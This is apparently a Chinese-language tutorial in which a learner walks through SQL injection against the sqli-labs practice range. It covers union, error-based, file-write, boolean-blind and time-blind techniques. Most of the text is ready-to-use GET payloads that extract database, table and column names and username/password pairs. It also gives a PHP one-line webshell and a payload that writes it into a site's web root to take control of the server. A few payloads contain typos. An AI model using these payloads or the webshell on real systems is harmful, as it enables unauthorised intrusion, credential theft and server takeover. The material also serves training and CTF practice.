漏洞原理:(我的理解)
服务器大多数都是利用msyql数据库来存放数据,虽然很多网站都会对sql语句进行过过滤,但是可能程序员搭建网站时不严谨,因此我们可以利用sql语句插入,进行对web服务器的数据库的非法查询,获取用户账户和密码等关键信息
我的思路:
1、首先观察是否有注入点,以及闭合方式,闭合方式有 :单引号 ’ 、双引号 " 、单引号加括号 ') 、单引号加俩个括号 ')) 、双引号加括号 ") 、双引号加俩个括号 "))
2、判断什么类型的sql注入,大体可分为俩类:又回显跟没有回显;又回显又分为字符型、整形、报错;没有回显又分为布尔盲注、时间盲注这些都是get注入;还有一些post注入,在不同的请求头位置插入sql语句,还用一些请求头部注入和少见的堆叠注入跟二次注入等;get注入是在url中注入,而post注入是在表单中注入
3、判断字段数
4、黑盒测试,判断是否过滤了字符
5、收集完信息,然后就对此进行攻击,暴库、拖库
利用sqli靶场来说明下
联合注入:
首先查看网站是否有?id=,存在说明该网站web服务器的数据库有数据表
这个网站存在有数据表,所以我们可以进行sql注入试下,是否存在注入点
利用?id=1’ and 1=1 – # 和 ?id=1’ and 1=2 – # 来查看回显是否一样,不一样则代表存在字符型注入,但是闭合方式可能不是单引号,因此要把闭合方式改下
我对?id=1 'and 1=1 – # 的理解是:通过and这个来判断的,and在这里的意思是“与”的关系,就是判断俩边条件是不是都成立, – # 在这里是注释,因为前面利用单引号闭合了,该web服务器的查询后面还有一个单引号,因此把它过滤,是该语句不被报错;在这里也可以利用单引号与后面单引号进行闭合,这样也不会报错
利用?id=1 and 1=1 和 ?id=1 and 1=2 来查看回显是否一样,不一样则代表存在整形注入,同上
可以利用?id=1\ 来查看是闭合方式
我利用 反斜杠( \ )来查看是否会报错,原理是反斜杠加上该语句的闭合方式来进行转义,是该语句闭合不了,因此报错,可以看错该语句的闭合方式时单引号 ,单引号闭合属于字符型注入
知道了闭合方式接下来判断该语句的字段数
利用?id=1’ order by ? 来判断
也可以利用 ?id=1’ union select 1,2,3 – # 来查找字段数
通过查询发现该语句的字段数是 3,接着是测试过滤字符,过滤字符每个网站都不一样,都要自己一个一个试,这里先不讲测试过滤字符,先讲下暴库
利用
查数据库payload:?id=-1’ union select 1,2,database() – #
在这里id改为-1是为了可以不显示之前的查询结果,只显示要查询的sql语句
查表名payload:?id=-1’ union select 1,2,concat(table_name) from information_schema.tables where table_schema=‘数据库名’ – #
通过暴库该数据库发现有四个表,limit 0,1 函数配合concat函数一块使用,但用concat函数可能该字段长度不够会导致有些内容输出不来,因此利用limit一个一个查询
查列名payload:?id=-1’ union select 1,2,concat(column_name) from information_schema.columns where table_name=‘表名’ – #
接着就是重复上面,一直爆列
有些网站没有设置字段长度就可以这样一次爆破
也可以通过burp去爆破,用intruder模块攻击,这样不仅方便还省时,要根据不同的类型设置不同的payload
整形注入跟这个一样的过程就是没有闭合方式
payload:?id=-1 and 1,2,database()
payload:?id=-1 and 1,2,concan(table_name) from information_schema.tables where table_schema=‘数据库名’
payload:?id=-1 and 1,2,concat(column_name) from information_schema.columns where table_name=‘表名’
列名出来就可以进行拖库,但是我们拿个数据库名就行,毕竟非法入侵会进去的,咋们在靶场可以练习一下,倒时候打ctf的时候会有帮助
这里还是在limit哪里修改数值,来查询不同的信息
报错注入:页面有回显,但是没有显示位,因此可以利用一些报错函数来对数据的参数进行修改,构造非法的查询语句来其返回错误信息,报错的函数有很多updatexml、extractvalue、floor 这三个用的挺多的,floor构造起来还是挺复杂的,所以一般updatexml、extractvalue没有被过滤都是用这俩个
首先还是先判断是什么闭合方式
通过判断发现该闭合方式是单引号,知道了闭合方式就开始对其暴库
payload:?id=1 and extractvalue(1,concat(0x7e,database()) – #
这里的0x7e是这个特殊字符 ~ 就是使这个函数进行报错,然后来查询语句
然后重复联合注入的接下来的步骤,就是修改一下payload
payload:?id=1’ and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1))) – #
payload:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’))) – #
这个payload也是跟上面的联合注入一样也是要注意的,有些网站的字段长度不够
payload:?id=1’ and extractvalue(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1))) – #
paylaod:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ ))) – #
payload:?id=1’ and extractvalue(1,concat(0x7e,(select concat(0x7e,username,0x7e,password) from users limit 0,1))) – #
这个报错注入跟联合查询差不多,就是换了一个方式来插询
这里有一个点是文件注入,但是要利用这个点话,你的mysql数据库中的**secure_file_priv **这个参数被用于限制导入和导出的数据目录,load data infile和selec…into outfile这些操作就不能使用
secure_file_priv参数设置选项:
1、如果为空,不做目录限制,即任何目录均可以
2、如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录
3、如果设置为 NULL,MySQL 服务器禁止导入与导出功能
使用这个语句在mysql命令行中查询:
show global variables like ‘%security%’ ;
修改的话去php.ini 配置文件中修改成,没有这句话就直接添加,然后自己再利用msyql命令行测试下
secure_file_priv=‘’
首先还是测试闭合方式,方法一样
测出来是 ')) ,接着就是测试有多少字段,我盲猜跟前几关的字段可能一样,不是的话,也是利用上面的方法来测试字段有多少
然后利用payload:?id=1’)) union select 1,2,database() into outfile ‘D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\7.txt’ – #
payload讲解,就是利用into outfile这个函数将数据库名导出在这个文件路径下D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7,然后文件名为7.txt
这里加双斜杠是为了防止转义,
payload :?id=1’)) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’ ) info outfile ‘文件路径\文件名’ – #
payload:?id=1’)) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘表名’) into outfile ‘文件路径\文件名’ – #
payload:?id=1’)) union selelct 1,2,(select concat(0x7e,username,0x7e,password) from users) into outfile ‘文件路径\文件名’ – #
这关有很多种方法,比如:报错呀、盲注呀、等 ,接着再讲下一句话木马,因为后面会经常用到一句话木马
一句话:<?php @eval($_POST['cmd']); ?>
这个一句话木马是php的,@是为了执行不报错,即使该语句有错误又不会报错只会计息执行,eval是一个执行函数,$_POST是超级变量,利用的是post传递方式,cmd就是变量,蚁剑链接密码就是这个变量
payload:?id=1’)) union select 1,2,“<?php @eval($_POST['cmd']); ?>” into outfile ‘该网站的文件路径地址\文件名’ – #
为什么要该网站的文件路径地址,因为我们要控制该网站的话,就要上传到该网站的文件路径下,只要我们才能拿到该网站的控制权限;这里的文件名要以php后缀名结尾,因为我们上传的是php一句话木马
这里的url就是你上传文件的路径地址,然后就拿到了权限,之后就不会我说了,但是别做非法的事
布尔盲注:页面没有回显也没有回显位,返回只有 True 和 False 两种,因此可以利用布尔盲注来判断数据库信息
布尔盲注手工注入的话挺费时间的,现在基本都是掉进sqlmap中让sqlmap跑,但是手工注入会让你理解深刻
首先要判断是不是布尔盲注,还是利用判断闭合方式来判断
发现闭合方式是单引号,而且正确的时候页面回显不变,但是错位的时候页面回显发生了变化,这就说明这是布尔盲注,接着就是利用这页面回显true和false来判断数据库信息的正确性
length():返回长度
ascii():返回ascii码
if(判断的语句,真,假):判断函数,为True返回真,为False返回假
mid(字符串,x,y):截取函数,从字符串的x位置开始截取,截取y个位
首先还是利用上面的方法来查找闭合方式
很明显的发现该闭合方式事单引号,接着就是构造payload来进行暴库了
payload:?id=1’ and length(database())>1 – #
payload:?id=1’ and length(database())>1 – #
这里可以利用二分法来快速判断,利用 = 来确定长度
可知长度为8,然后进行猜库名
payload:?id=1’ and ascii(mid(database(),1,1))>100 – #
这里也是利用二分法来进行判断,手工注会很费时间,可以利用brup的intrude模块进行攻击,也可以利用sqlmap来爆破,但是sqlmap弄得话,要弄清sql盲注原理,一味的使用sqlmap不会原理,就跟脚本小子差不多,这里先不讲述sqlmap的使用,下次在详细讲下
ascii码对照表:
看到burp爆破的ascii码是115,然后在ascii对照码找115发现是字母s
后面就是调整mid截取函数的截取位置就行,一个一个的爆破出来
payload:?id=1’ and ascii(mid(database(),2,1))>100 – #
接着就是直接就是爆表,来获取关键信息,跟联合注入一样的
payload:?id=1’ and length((select(table_name) from information_schema.tables where table_schema=‘数据库名’ limit 0,1))=6 – #
payload:?id=1’ and ascii(mid((select(table_name) from information_schame.tables where table_schema=‘数据库名’ limit 0,1),1,1))=101 – #
payload:?id=1’ and ascii(mid((select (column_name) from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105 – #
payload:?id=1’ and ascii(mid(select username from users limit 0,1),1,1))=68 – #
盲注就是在没有回显的页面,利用它返回的true页面和false页面以及结合判断函数来实现爆破
时间盲注:时间盲注跟布尔盲注差不多,时间盲注就是利用sleep()函数来结合它回显时间来判断,在这里首先要知道sleep()函数是干嘛的,这个函数是休眠函数,它可以使服务器进入休眠,使其一段时间处于非活动状态,然后利用开发者工具的网络模块来观察传输时间,开发者工具按f12,不用的电脑可能不同,可以自行百度下。
时间盲注这里判断闭合方式和跟之前有点不一样了,因为它没有回显,啥也不会显示,因此跟前面判断不一样
payload:?id=1’ and sleep(3) – #
这里如果不是单引号就改闭合方式就行
paylod:?id=1" and sleep(3) – #
通过对比发现单引号闭合,它的传输时间明显慢了三秒,因此该闭合方式就是单引号
构造payload,来进行爆库
payload:?id=1’ and if(length(database())>5,sleep(3),0) – #
payload:?id=1’ and if(length(database())=8,sleep(3),0) – #
这里也可以利用burp来进行爆破
接着也是跟联合注入一样爆表,获取关键信息
payload:?id=1’ and if(ascii(mid(database(),1,1)=115,sleep(3),0) – #
payload:?id=1’ and if(length((select(table_name) from information_schema.tables where table_schema=‘数据库名’ limit 0,1))=6,sleep(3),0) – #
payload :?id=1’ and if(ascii(mid((select(table_name) from information_schema.tables where table_schema=‘数据库名’ limit 0,1),1,1))=101,sleep(3),0) – #
payload:?id=1’ and if(ascii(mid((select (column_name) from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105,sleep(3),0) – #
payload:?id=1’ and if(ascii(mid(select username from users limit 0,1),1,1))=68,sleep(3),0) – #
时间盲注跟布尔盲注差不多,布尔盲注是通过true和false来判断,而时间盲注是通过传输时间来判断,两者的区别就是有页面回显跟没有页面回显,实体都差不多,两者都属于GET注入